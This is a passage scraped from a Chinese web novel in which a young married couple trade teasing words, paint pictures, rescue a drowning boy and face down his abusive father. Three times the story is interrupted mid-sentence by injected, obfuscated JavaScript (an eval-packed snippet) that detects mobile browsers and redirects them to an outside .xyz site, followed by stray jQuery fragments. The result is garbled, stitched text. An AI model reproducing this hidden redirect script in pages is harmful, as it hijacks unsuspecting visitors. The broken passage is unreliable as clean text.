夜色里苏静蘅睁着一双杏眼默默瞥他,若是平时,宁知序一定会害羞避着她,可今天也不知道是怎么了,他心底前所未有的坦荡,深吸几口气,吹着晚风只想同她一起在这条路上一直走下去。
他以为苏静蘅不懂此时的心境,没料到她看了他一会,开口说:“今天真是好天气,能和你在这条路上晒月亮也挺好的,我还想多走一会儿,不过你今日受累,回去早些歇着吧,明日我们再一起走。”
“嗯。”
“你说往后天暖,蚊虫越来越多,哪会像现在这样惬意。这是山里最好的时候,下个月也是,下下个月就要开始热了,也幸亏我们闲,不像他们忙着地里的事,门口菜畦冒绿芽,种一根长一茬吃一口,去城里还能带些吃的回来,嗯,山里什么都好,就是虫子多一些,这时候就有不少了,要不了两个月就能咬死人。”
宁知序低头,踩着她的影子说:“我为你熏艾蒿,为你拿蒲扇扇蚊虫,总归不会让蚊子咬你。”
“你以为你是神仙呀?”
苏静蘅笑了笑,“一定是累昏了,天上的神仙不管事,你怎么能管?对了,我替你做个新帐子,抵两身衣服行不行?再补些绣花,抵三身衣服,这个月就这样定了,你那张床缺个新帐子,三月做好月底挂上,四月做夏衣做秋衣做冬衣,五月的事就先不说,只望你我那时都有个好奔头。”
宁知序又说:“一定。”
接着苏静蘅拍拍他的肩,指着地上的影子说,“你看你的影子都成胖坨坨了,月亮下万物显形,你原来是个什么妖怪?看起来像山鸡!”
“山鸡……”
宁知序唇角提提,说,“是你想吃山鸡了吧?过两日我去弄一只来,给你做点新鲜没吃过的菜尝尝。”
“好!”
苏静蘅不提丧气的事,回到家将晚间留的饭菜热一热,不忘对宁知序说,“外边的活不用着急,明天你歇一天,我来做就行。”
宁知序放下背篓,将各样东西放好,看见她下午编的篱笆,皱皱眉说:“伤手。”
苏静蘅扑哧笑道:“我从小就摸针线,这么多年不知道手上被扎过多少次,几根竹子就能伤着我?你太小瞧我了宁知序!”
宁知序哑然,再看看自己的手,原是好看的,手指细长骨节分明,儿时总听得爹娘夸他,可后来粗活干得多了,变得奇丑无比,指腹的茧,手心的伤,连他自己都不愿多看。
苏静蘅见他端详自己的手,也将自己的手举到他面前,平摊着和他的手靠在一起。
一双大一些,一双小一些,两人端详来端详去,苏静蘅像欣赏什么名贵字画一样,看得津津有味,说:“只要是干活的手都好看。”
无非是多些伤口茧痕罢了。
生来十根,比不上娇生惯养的公子小姐们小葱一样白净的手指,但也能干活。
“我这个是沾了泥水的小葱,洗干净养养还能看。”
“那我这个呢?”
“大葱!”苏静蘅把他的手拍开,“洗干净养养就能下锅,给我尝尝你的肉好吃不好吃。”
“你竟是吃人的女妖怪!”宁知序捧腹笑道,一边举起自己的手对着月亮望,而后说:“大葱……我看着比大葱要好……”
说话间甜汤温好,两人一人端着一只碗坐在门口借着月光看山里的光景,苏静蘅听宁知序讲些城里发生的事,喝完甜汤便扛不住,早一步洗漱回房间睡觉。
这一夜并未做噩梦,相反,梦里喝了许多甜汤,第二天早上仿佛是被甜汤撑醒的,睁眼抹抹嘴角,糊里糊涂骂自己贪吃。
穿好衣服刚打开房门,就看见宁知序坐在堂屋里靠着桌子撑着下巴紧紧盯她这儿望。
一看见她出现,那双眼睛瞬间放光,坐直了冲她说:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604265|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“今日听你的话,不干重活,你要做什么,我给你打下手。”
“我不做什么。”
苏静蘅顿了顿,本打算出门,听见他的话转头去拿书,放在桌上道,“我与渺渺约了去采野菜,待会儿就去找她,你上午只休息,闲时可以看看书,下午我将剩下的篱笆扎好,想听你跟我说书上的事。”
一本《论语》,宁知序从前不知读过多少遍,哪要特地为她做准备。
可她既然这么说了,他心底一点没有不耐烦,再看那本书好像别有滋味。
饭后苏静蘅提着篮子往桃花村去,宁知序将《论语》浅浅翻了一遍,大概想好要怎么讲,就将书收好,转而拿出前些日子买的笔墨,欲铺纸作画。
脑子没怎么动,提笔胡乱一同挥洒,没多久半个桃花村跃然纸上,他自然不是只为了画桃花村,消磨一段时间,将更多笔墨放在自己家上,两座屋子,一处小院,还有院子里两个人,仰首看房梁上几只燕子,画好了且晾一会儿,算着时辰出门等苏静蘅。
元渺打远处就看见宁知序在自家门口晃悠,朝着相反的方向望个不停,知道他在等谁,于是忍不住对着身边的人打趣道:“你看看你相公,这么放心不下你,特地出门等着,采些野菜而已,他这样子还以为我是拐你进山的土匪,带你走了就再也不回家一样。”
“说什么呢。”
苏静蘅嗔怪地哼一声,又不好意思地低下头。
元渺问:“看你这样子,不会现在和他依旧‘相敬如宾’,不曾亲近吧?”
“你说什么……”
苏静蘅瞪大眼睛,不懂她想问什么。
元渺说:“自然是说些只有我们两个人能说的事,看样子我说对了,阿蘅姑娘,你不用不好意思,这事我也懂,你别看我跟我家相公自小认识,定的还是娃娃亲,可是成亲这档子事我们都是第一次经历,那时候他不好意思,我也不好意思。”
“虽然出嫁前该教的娘都教了,他也明白,可突然做了夫妻,人一下就傻了,成亲那一个月,我们什么事都没做,睡觉就是睡觉,吃饭就是吃饭,每天睁眼闭眼就是聊天,过了大半个月才熟络起来,所以你跟你家相公在一起觉得局促,我心里是能明白的。”
毕竟他们两个成亲那天才第一次见面,如果宁知序是个没理的人,第一日圆房或许是应当的,可他不是,他那个样子就不是一个喜欢强迫别人的人。
元渺在这事上有经验,和薪也是他那样的性子,如果她不开口,他会一直等她,也亏她很快就适应了桃花村的生活,明白他的心意,跟和薪摊开了说,两个人才彻底做一家人,不然现在糊涂的就不止苏静蘅了,她大约也要一起犯傻。
感情是这世间最说不清的事,从来生于刹那间,他们不是话本子里的主人公,只知道见了喜欢的人就去说,不要去做荒废时光的傻事,山里的人生来便谨记这个道理,谁家女儿喜欢上谁家儿子,就去摘花编花环编手串讨他的欢喜。
谁家儿子喜欢上谁家的闺女,就为她夜夜唱歌,再捧一抔自家的谷子到她面前,问她愿不愿意吃自家的饭。
愿意,就请媒人说媒——其实也不必,两家商量过,挑个日子放一挂鞭炮,穿着红衣的新人牵着手入洞房,事就算成了,以后要在一起过一辈子,要睁眼闭眼都看见对方一张脸,直到生厌相离或是生死相隔。
“听你说过几次你家相公的事,我觉得他很想亲近你,就是不知道要怎么跟你说,唉,你非跟我说他有多喜欢呛你,多喜欢逗你玩,从来不说正经的话,在我看来这就是喜欢你但是不敢跟你说。”
“一对夫妻,女人腼腆,男人能说好话哄她,哄着哄着亲近了,可若男人腼腆,女人又不乐意同他在一块儿,这日子肯定过不下去。”
苏静蘅从前不懂,可那天翻了书,突然就懂了,元渺越说,她脑子里就越控制不住地浮现那书里的东西,霎时间脸变得通红,想丢下她就跑。
元渺搀着她的手,自顾自说下去,还想用自己的经验指点指点她,说:“你家相公性子很好,可感情上是个呆子,你用不着对他十分好,你对他一分好就够了,只是需要长久些——”
“你别说了别说了,我和你不一样,我相公和你相公不一样,我们不一样!而且我对他哪里只有一分好,说不上十分,九分总该有!”
“那他肯定喜欢死你了!”
“啊你别说啦!”
苏静蘅急地甩下她朝宁知序跑去,元渺在后面笑,还追她,问:“你跑什么?我又不说那种事!我只是想说你多想想这个事,你们两个人不要总错开来喜欢对方,哎呀,你能不能听懂,我是说你别总在背后念他,到面前却假装成没事人,你今天跟我上山说了整整半个时辰你相公的事你知道不知道?上次你们两个闹别扭也是,跟我说那么多没用,你该自己跟他说!”
苏静蘅大喊:“我不知道我不知道!”
宁知序听见声音回头,苏静蘅已经快到他面前,看她跑得那么快,他下意识张开手臂接她,果然,到面前她没刹住脚,一下子蹿进自己怀里。
元渺见到这情景立刻住嘴,瞧了他们几眼,默默就绕走了。
苏静蘅趴在宁知序怀里看着她,直到她进了桃花村,才长舒一口气,慢慢起身。
宁知序问:“怎么了?你们在说什么?把你吓成这个样子。”
“……”
苏静蘅默了默,然后恼羞成怒地说,“别问!”
31. 旧疾(二)
宁知序被她这猛地一呛,一时不知道说什么。
苏静蘅提着篮子进灶屋,将菜洗净,入锅焯水,又拿起刀狠狠剁肉泥,混些荠菜碎进去,捏了一个又一个荠菜肉圆。
宁知序在一边看着不敢说话,为她递盆递刀,顺便也捏几个肉圆。
打两个鸡蛋做蛋花汤,中午一人吃了一大碗,吃饭的时候苏静蘅像个没事人,依旧如往常那般给宁知序夹菜。
原想跟他说些采野菜时发生的事,想来想去却始终没找到什么好说的,只提两句在山间看见的奇怪鸟雀,闻着肉圆的香气,她闷声想,元渺说得不对,这不怪她,平日只和宁知序在一起,所有有意思的事都和他有关,怎么可能不提他呢?
她也总提她家里的事,提娘家的人,提公公婆婆,提李和薪,她能说的人有那么多,而自己只有宁知序,所以多说几句又怎么了?这只是件平常到不能再平常的事,下次再见她一定跟她说清楚,她们真的不一样,虽然她说的也有道理,可就是不一样。
苏静蘅总算将自己说服,抬眉偷看宁知序,他正没规矩地用筷子插着肉圆放到嘴边吃,一边吃一边哼,说:“你做的圆子真好吃,过几天再做好不好?我去买肉,咱们一起多做些,送些给你干娘吃。”
先前的疑惑这时候已经被饭菜的香气赶走,宁知序抱着碗吃的正开心,察觉到一道视线落在自己身上,愣了愣,蜷着食指用关节擦擦嘴角,问:“怎么了?我脸上有东西?”
他从腰间掏出一个手掌大小的镜子照照,嘟囔道:“没有啊,挺干净的。”
苏静蘅沉默。
这镜子是从哪里来的……
宁知序继续咬一口肉圆,说:“你猜我上午在家做什么了?我画了幅画!画了桃花村,咱们的家,还有你和我,下午就把它挂在堂房,你也画吧,东边墙上挂一幅,西边墙上挂一幅,有人来家你叫他猜哪幅是你画的,哪幅又是我画的,这样有意思。”
苏静蘅笑笑:“你做什么事都觉得有意思。”
山间正好刮起一阵风,打断她的话,两个人不约而同朝门口飞旋的落叶望去。
宁知序看着叶子有些出神,这阵风吹得他心尖发痒,回过神说:“我想看你画画。”
苏静蘅定住,不多时点头:“好。”
样子明媚灿烂,实际心里憋了个坏主意。
下午她将宁知序未干完的活做了个收尾,一边听宁知序拿书读给她听一边扎篱笆,过后伸伸懒腰,叫宁知序给她磨墨,装作不会画画的样子在纸上胡乱作画,画了半天画出个扎朝天辫的宁知序和肩膀如墙宽的自己,笔画潦草,两个人合牵一头上了年纪的老牛。
画完让宁知序欣赏,静静听着他睁眼说瞎话。
她舍不得用那些纸,平日学几个字都是沾水在桌上写,这次简直是豁出去了,一大张纸只用来逗宁知序玩。
“我就说你有画画的天赋。”
宁知序看见成图那一刻面露恍惚,但很快调理过来,指着那肩膀宽的人说,“看似潦草,实际颇有神韵,你把我画得这样伟岸,我都要不好意思了。”
苏静蘅笑着说:“这是我。”
“……”
宁知序倒吸一口气,有点不敢相信,“那这个扎朝天辫的人是我?”
“嗯。”
“……”
宁知序扯着嘴角假笑道,“也挺好看的。”
他小时候还真扎过朝天辫。
那时候每年春节爹都会找画师给一家人作画,五岁之前画上的他头上一直顶着几根奇怪的朝天辫,五岁的时候被大哥嘲笑,气得直哭,而后才解了辫子换成其他的样式。
自然,五岁年纪还太小,即便他记事比一般孩童要早些,那个年纪他也只依稀记得几件事,都是极悲极喜,现在回想起来心里仍旧难受的事。
朝天辫他不喜欢,但是苏静蘅画的他喜欢,小孩子大约就是这般模样,他倒希望自己依旧是个孩子,到十岁也能坦然扎着这样的辫子,从家里逃出去买桂花杏糕,惦记着给爹娘大哥还有几位叔叔叔母几块,回家的路上遇见苏静蘅,再分她几块交个朋友。
若是这一切是真的,或许他和她是相识一场就是青梅竹马的名分,吃一些亲人离别的苦,最终还能偎到一起取暖。
宁知序倏地从思绪中惊醒,还想继续夸:“这驴也十分可爱。”
苏静蘅却说:“这是牛。”
“……”
宁知序住嘴,心说早知道他就不该提这个主意,说了半天没一句是对的,也不知会不会惹她生气。
他眼珠子转转,心里忐忑不安。
然而苏静蘅不仅没生气看起来反而十分愉悦,听他简单品鉴完就将画挂起来。
不知何人有幸做第一位品鉴两幅画的客人,两幅画看起来天差地别的水平,知道宁公子出生大户人家的,想必不用猜也知道哪幅是她画的,哪幅是宁知序画的。
她将自己的画挂好,拾笔为宁知序那幅添色。
墨色村落上点嫣粉桃花,风吹花落,萧条之色瞬间被明媚春光掩盖。
她道:“桃花便要开了,这个时节还是艳一些好。”
宁知序眼一瞥,叫道:“噢!你捉弄我!”
苏静蘅憋着笑,说:“就是捉弄你!你真是傻子,我说什么你都信!”
可不该信么。
宁知序悻悻地想,手轻轻摸着画页,几乎哄着她说:“你画得比当朝最有名的画师还好看,就应该多画,叫别人知道你有一双好手。”
“几朵桃花瓣就能敲定我比大师还厉害,你更傻了,我做什么你都说好。”
说完觉得有些不对劲。
大约是元渺跟她说完那些话之后她心里便扎了一根刺,往常说什么都觉得正常,现在却隐隐觉得自己不该这样说,应该守着男女之防,说话做事都要有分寸。
她想着,不希望这样的事一直缠在心头,忽的抬头问宁知序:“宁知序,你喜欢我吗?”
“什、什么?”
“我问你喜欢我吗?”
宁知序说不出话,心脏瞬间跳到嗓子眼,两个字哽在喉咙间,心里明明只有唯一的答案,却要他想方设法做其他的回答。
苏静蘅放下笔歪歪头,一只手在桌上敲啊敲。
虽然问出了这句话,但他知道她想听的是什么,
她这样问是因为觉得自己不喜欢她,所以纠结过后仍然可以坦然地问出口,若她以为自己喜欢她,非朋友之间的那种喜欢,而是对她动了真感情,这个时候只会退缩,总要等自己想明白了,以为自己有本事将这件事处理好才会说出口。
他也知道自己说什么才能让她放心,于是只是深吸一口气,平静了思绪,故作坦然地反问:“喜欢,你不喜欢我?既然做朋友,若不喜欢我,住在一起岂不是太累?我看出来了,你现在是喜欢元渺姑娘更多一点!是不是要跟着她回家去?这可不行,你知道的,就算我三叔没发疯病,不来看我们,我二叔也会派人盯着我们,被宁家的人看见你跟着别人走了,说不定就要派人来捉你!”
这回答说在她心坎上,苏静蘅连忙摇头解释,说:“不是不是,我喜欢你和喜欢渺渺姑娘一样多,我也不会跟着她走!住到别人家多冒犯,我脸皮才没那么厚。
宁知序抿唇做出一副“我明白”的样子。
他反复在心里同自己说,既然如此就不要说太多,眼下也是很好的,这一月与下一月都一样,能在同一个屋檐下就是一件很好的事。
“你问这个做什么?”
看把她唬住了,宁知序才敢开口。
莫名其妙问这话,一定是有人跟她说了什么。
元渺?
她能跟她说什么?
苏静蘅不敢跟他说实话,只说:“没什么,渺渺和我说了些事,我觉得她说得不对,所以找你来问问,现在我弄明白了,其他便没什么好说的。”
宁知序刨根问底地追着她说:“她跟你说了什么事?”
“没什么好问的,你不许问。”
苏静蘅这番满脸都是“你再问我又要跟你生气”的样子,虽然是警告,却没有一点威慑力。
宁知序嘟囔道:“我看你跟元渺姑娘更好,你更喜欢元渺姑娘,你和她才认识多久?我好歹比她早认识你,你却这样,我真寒心!有什么话是不能跟我说的?你在她面前偷偷说我,到我面前却不让我问你们说了什么,哪有这样的。”
他这话听起来确实是自己没有理,苏静蘅被怼得哑口无言,只得对他透一点风:“只是聊到我们两个的亲事,她说你待我好是因为喜欢我,哼,难道不该喜欢我吗?不喜欢我怎么对我好呢,我也对你好,这喜欢和她说的应当不一样。”
“她说的是哪种?你说的又是哪种?”
“她说的是‘见色起意’的那种喜欢,我知道你不是那样的人,所以为你争辩。”
宁知序心虚地移开视线,手指用力扭着衣袖,心里嘀咕道:“其实也不必硬与她争辩,见色起意那怎么了,见色起意那也是喜欢,见色起意那也是为你,所以见色起意怎么了?我偏要见色起意,这辈子能让我见色起意的有几个人,就你一个!你不愿意!既然不愿意我就不说。”
想到最后置起气来,苏静蘅还没发觉,依旧用自己那套大道理为他解释:“是她想得太多了,我如实跟你说,你别放在心上,也千万别跟她生气。”
这话说起来好似她一直都是站在自己这边上的一样。
实际她一个人做一个阵营。
“……”
宁知序也只能说,“知道了。”
这个时候她说什么就是什么,顺着她的心意来才是保命的道理。
苏静蘅总算安心下来,吃饭睡觉依旧如往常那般有滋有味。
篱笆扎好,门口终于有个能看得过去的院子,菜地在路的另一边,两个人琢磨着将菜地也围起来,免得山鸡鸟雀甚至是过路的野兽在里面捣乱,于是第二日一起上山,干脆多劈些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616074|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竹子来。
苏静蘅第一次进那片竹林,离得近的这处竹子长势很好,满目翠绿一片清香,竹林里只有一条人走的山路,往深了走,对面山头有一处悬挂瀑布,水流湍急,连着家后那条平和的溪流。
她笃定那条瀑布里藏了个山洞,宁知序一言不发听她说自己的理由,说来说去,也只是听街头巷尾说书的人讲故事,凡是瀑布下面都会藏一个洞,洞里面有别样风光,大概有一个猴王带着一群小猴子住在里面,又或许有隐士在里面避世而居。
山里有多少条瀑布就有多少个山洞亦有多少个猴王或者隐士,她随口说胡话,宁知序当作故事听,没有人想走去一探究竟,直到砍完竹子又挖了许多竹笋,两个人都有些疲乏,拿出随身带着的点心找一处能够歇脚的石头坐着,才有空继续顺着那个山洞往深了聊。
苏静蘅说猴子与隐士没什么区别,都是两条腿两条胳膊,要吃要喝,要拉撒睡觉,这么一想住在这洞里未免太不方便,便改口说里面又或许住着山神,只有神仙栖山而居不需要顾虑凡尘之事。
说到最后一个神仙寓居山野的故事俨然成形,苏静蘅眼睛一亮,一个鬼点子这般生成,忍不住抓着宁知序肩膀晃晃:“编了个好故事,来日找个机会忽悠人去。”
“忽悠谁?”
“忽悠桃花村的人,进城的时候忽悠我干娘,要不了多少天城里的人就会知道我们这里有座神山,到时候什么富商贵胄文人骚客,为了附庸风雅都往山间跑,我就在这里搭个棚,卖凉水卖茶叶卖点心,你在做些小炒,咱们能在这里开个铺子。”
做梦是件容易事,苏静蘅把这事当作笑话说出口,宁知序也当作笑话听,说来说去两个人都渐渐否定了要以此赚钱的计划,却没有否定这随口编出来的谣言会在洛城传播。
苏静蘅盘腿坐在石头上,神色去了轻浮,道:“其实这些日子我仔细想过,有件事你说的不对,谣言不是飞尘,不需要一天天沉淀才能成形,那明明是狂风,既生于天地间,哪需要什么理由,风刮到哪里,哪里的人心就跟着乱,做云做雨做雷电都克不了风,反而会被风带着走,那我们为什么不能不做风?”
“你的意思是——”
“哼,真相从来都是没有重量的鸿羽,越是寻常越没人在乎,所以拿真相向来压不过谣言,既然如此,不如用谣言克谣言,他们说你是灾星,我就说你是福星,他们如何说你是灾星,我就如何说你是福星,以其人之道还治其人之身,这是老祖宗教我们的道理。”
“福星……”
宁知序咀嚼着这两个字,好像从前也有人对他这么说过。
“我哪有做福星的凭证?”
“怎么没有?”
苏静蘅觉得奇怪,“靠近你之后我日子都变好了!”
宁知序哑然:“那不是因为靠近我日子才变好,离了原来的家,以你的本事到哪里日子都能变好。”
苏静蘅扬扬眉。
他说得也对,自己早清醒一点,跳出从前那个怪圈子,大概早就过上好日子了,只可惜当局者迷旁观者清,她一个人苦苦挣扎的时候想不到这一点,总以为咬牙撑下去,待在原地能等好日子过来,谁知道她的好日子根本不在那儿,天降的婚事一下子把她推醒,离了家发现外边晴空万里,一点风雨都不曾有。
“那这更能证明你是福星了。”
苏静蘅肯定说,“越是偶然,就越是与众不同,这道理你懂吧?”
他不懂。
宁知序摇头语重心长说:“是你心地太过良善,看什么都好,做什么事都愿意留有余地,与我成亲的要是别人,从开始对我心存偏见,责怪于我,这日子也不会好。”
苏静蘅说:“我不管,我说什么就是什么,”
“……”
宁知序瞬间被堵住嘴,而后认输,道,“好,你说什么就是什么。”
他不反驳,苏静蘅就继续说:“总之你听我的,与其坐以待毙,不如想办法和他们碰一碰,我还想叫你去城里卖你的篓子呢,我出点子你出力,让我赚点分成也是好的。”
担着一个灾星的名分手里的东西卖不出去,只有瑞芳斋还有些为了挣他们钱的生意人能对他们笑颜相待。
这样下去不是办法。
她这几日找昌老伯讨教过,随手做的饭箩放在磨坊那儿竟有人愿意买,篮子篓子家家都会做,不管是竹编还是藤编,大多数人家都是能用就行,并不挑剔,也正因如此,山里没人的手艺比较糙,没有比他做得更好的人家。
宁府的篾匠是洛城最好的篾匠,学一点皮毛放到山里就够让大家稀奇了,他做得精细,当今这个日子一天比一天好的世道,总有人愿意为他的手艺花钱。
有钱就要赚,不然对不起财神爷。
他们这段日子只是为彼此做事,博得对方的欢心就欣喜,但日子始终是自己一个人的,过了春天还有夏天和冬天,她离了宁知序依旧会努力过自己的日子,所以宁知序离了她,也应该如此。
32. 旧疾(三)
苏静蘅目光灼灼,似乎很认真的模样,她说话不容旁人置喙,宁知序也不会逆着她做事,喉结轻轻滚动一下,正想回应她的话,对面瀑布却忽然传来异响。
山间风声轻吟,水流湍急碰撞,那声音很小,不仔细听根本听不见。
两人不约而同朝对面看去,仔细搜寻着,第一眼并未发现什么异常,正疑惑着,又听见两三声蚊蝇般的哭喊声,才在瀑布下的水流中看见一个上下浮动的身影。
“有人?”
还是个不大的孩子。
“快去瞧瞧。”
苏静蘅站起来看抬手遮眉仔细眺望,看见那人影无助地向天际伸手,不停扑腾,话音刚落,宁知序几乎弹起来,扔下手里的东西飞跑过去,来不及脱衣服,慌里慌张踢开鞋子就一下子冲进水里朝那孩子游去。
苏静蘅跑得慢些,看见两个人被水流冲着往下,手足无措,四下寻找什么能够救人的东西,没有绳子,原地转一圈,回头捡了根竹子追过去。
宁知序在水里已经将孩子捞起来,她站在河岸边伸竹棍给宁知序,棍子一沉,便立刻用力拉他。
两方用力,好不容易上了岸,那孩子却已经没声了。
五六岁的样子,脸色苍白,湿透的头发紧贴在额角和脸颊,嘴唇微微张开着,嘴角残留着一小抹湿漉漉的白沫,苏静蘅立刻跪下仔细检查,第一次遇到这样的事,有些没主意,问:“这可怎么办?呛了不少水,还能不能救?”
宁知序摸摸鼻息,说:“能救。”
说罢单膝跪在地上,将孩子放在他腿上,头向下,按压后背,逼他将喝进去的水吐出来,所幸落水的时间不长,他们救得及时,一番动作过后,孩子咳嗽两声,有些苏醒的征兆。
正巧听见附近有人呼喊,苏静蘅朝旁边林子里看一眼,说:“肯定是他爹娘找他。”
她抿抿唇,神色凝重,没一会儿一个女子从瀑布边的树丛里现身,嘴里喊着“小曲小曲”,往这看了眼,惊叫一声,跌跌撞撞跑过来。
宁知序听见动静回头,人已跑到自己跟前,正要站起来跟她说话,谁知道她冲到面前一把将他推开,苏静蘅眼疾手快对着那女子的肩推回去,一双圆眼冒火,质问道:“你做什么?你推人做什么?你是这孩子的娘?我相公救了他,你不谢他竟然还推他!”
女子被她推了个踉跄,幸亏宁知序伸手扶她一把才没跌倒。
苏静蘅这才看见她身后的背篓里还有个孩子,那孩子不过两岁的样子,不知人事,但看见眼前这番情形显然有些害怕,缩在篓子里就要哭,苏静蘅镇镇神,没在孩子面前继续发作,女子不说话,绕过她跪在地上抱起那溺水的孩子,不停唤道:“小曲……小曲……”
“你家小曲差点被淹死,不过被我相公救了,留下一条命,要想他快点醒过来,应该赶紧带他去看大夫,而不是只抱着他慌张地哭!”
女子已经有点无神,经她的提醒,摸着孩子还有心跳,便从地上爬起来,抱着孩子往来时路去。
苏静蘅真是气得不行,撇嘴拽住宁知序的袖子,说:“要不是为一条人命,这好事不做也罢,费那么大的劲,险些把自己搭进去,还要挨她的气!”
宁知序安抚她。
一身衣服湿透,苏静蘅也不好多说,替他拧拧袖子上的水,叹气道:“罢了罢了,我们回去吧,赶紧把衣服换下来,免得吹风受凉生病。”
回去清洗一番,泡个热水澡,还要再煮些姜汤给他暖暖身子。
她又说:“要不把衣服脱了?一身水裹着多难受,现在太阳照着,又不是很冷,还是脱了好。”
“脱、脱衣服?”
宁知序有些难为情,却还是听她的话,将外衣脱了。
“我让你把上半身脱光!”
“啊?”
宁知序吓坏了。
光天化日之下,让他光着上半身在外面走,简直是伤风败俗,不守男德!
苏静蘅说:“我这是为你好,就当是到田里干活,露膀子露身子的汉子多了去了,你是救人又不是因为其他,别人能理解的。”
宁知序说:“不行。”
“你这么难为情,看样子下次我要给你做个胸衣备着,遇到这样的事把胸衣穿上就不怕羞了。”
苏静蘅说不过他,一时有些气愤,觉得他为面子不爱惜自己的身子,话一说出口,宁知序如遭雷劈,神情一下子垮掉,嘴长得能塞得下两个大鸡蛋,苏静蘅问:“你真不脱?”
“不脱不脱!”
宁知序紧张起来,扯走苏静蘅手里沾了水的外衣重新穿在身上,道,“放心,我身子硬朗,冬天下水都没事,这阳春三月哪会因为沾了点水就生病,就这样,回去热水冲冲就行,走吧走吧,赶紧回去。”
苏静蘅被他推着着,知他心里急切,害怕她在这荒郊野岭把他扒光了拖回家。
本来还有些生气,看他这窘迫的样子,又气不起来,只觉得好笑。
两人正要走,去时回头看那女子一眼,见她抱着孩子对着林子里喊了几声,应该是个人名,没一会儿又匆匆忙忙跑来个三十岁左右的男子,大悲大喜就在这一念之间,夫妻两个说了几句,男人忽然骂起来,抬手扇了女人一巴掌,之后气冲冲向他们走来。
“……”
苏静蘅预感不好,心里暗骂一句,道:“这事今天过不去了是不是?”
那女人救子心切,推搡他们一下他们尚可以不放在心上,这男人又要做什么?莫不是要往他们身上泼脏水,说孩子是他们推下水的不成?
一颗心悬起来,虽然不知道他要做什么,但气势还是要有,苏静蘅挡在宁知序面前,叉腰等着他走到面前。
果然,那蠢男人走近第一句话就是:“是不是你们推我儿子下水的?”
“不是。”
“不是你们,你们为什么会在这儿?”
“不是我们我们又为什么不能在这儿?”苏静蘅忍不住翻了个白眼,道,“我和我夫君到这竹林里挖竹笋,正巧碰见你儿子落水,好心施救,明明我们是他的救命恩人,你怎么还倒打一耙?”
“我倒打一耙?是不是你们做的你们心里清楚。”
苏静蘅被气笑,认定他故意来找茬,知道与他说下去无用,又不知要如何脱身,那男人说:“我知道你们就是城里宁家撵出来的那两个丧门星,你们这样的人到我们桃花村就是祸害!敢动我儿子,这事没那么容易过去!要不赔钱,要不我就去官府告你们!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629627|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
竟然是桃花村的人,可是那天元渺带她到村子里认人的时候为什么没见过他们两个人?
哦,她知道了,那天去正巧有一户空着,说是一家人都走亲戚去了,过段日子回来,想必就是他们了。
说了那么多只是为了讹钱,苏静蘅第一次见这么不要脸的人,女人这时候赶过来,拉住他的衣袖说:“阿仁,别说了,走,先找大夫给小曲儿看看,这事拖不得——”
“你走开,这事不要你管。”
李仁一把将女人推开,警告道,“都是你没用,看个孩子都看不住!真是废物一个!”
“你骂她?你要脸吗?”
“我家娘们我爱怎么骂就怎么骂,跟你说,我不仅能骂她,我还能打她,要是孩子真出什么事,看我回去不打死她!”
“你!”
苏静蘅没见过这样的人,忍了忍,实在忍不住,一脚踹过去。
欺负女人?
她最讨厌欺负女人的人!
就是她爹那样的人也只是怂,只是没用,但从来不会对她娘不好,不会忤逆她娘。
刚才看见他动手就已经看不过去了,挨这一脚是他活该!
女人呆了呆,李仁被踹个跟头,回过神爬起来暴怒道:“你敢动我!”
撸起袖子就要打回来。
他个子高,身子壮倒不算壮,看起来平时作威作福惯了,以为对着两个十多岁的少年自己能占上风,居高临下看着苏静蘅,竟发现这女子一点都不怕她,一脸“你有本事就打死我,打不死我我会一直缠着你”的样子,心下怒火中烧,恨不得掐住她的脖子狠狠教训她一顿。
眼看拳头伸到面前,苏静蘅不慌,宁知序忽然出手挡在她面前,李仁拳头没砸到对方脸上,腕上却是一疼,紧接着一股力量自手腕处窜起,顺着胳膊直到肩膀,一瞬间,他没来得及做反应,身子便不受控制地被扯过去。
宁知序一记过肩摔将他砸在地上,李仁再睁眼面前独剩一轮灿烂的太阳,照得他睁不开眼。
胸口被严严实实地踩着,苏静蘅仿佛知道会有这一出,看他摔在地上咿呀叫个不停,哼道:“孩子也是你的,丢了你怎么不怪你自己?到这工夫只想着讹钱,你儿子能不能活还不清楚,不先找大夫,竟想着要先去官府,我看也不必去麻烦管家,有什么理要说,我们去三井婆婆那儿找三井婆婆评判评判,叫桃花村的人都听听这事到底是谁对谁错。”
果然,一听到三井婆婆,他脸色变了变,也不再叫喊,女人知道劝不住他,孩子在怀里哼两声,她心尖一跳,再看男人,愤恨地咬咬牙,干脆抛下他抱着孩子顺着山路跑了。
李仁从地上坐起来,思量着,到三井婆婆那儿说理,只要自己咬定是他们推的小曲儿,没有其他人证,到时候判他们错,自己没准能讨一笔赔钱。
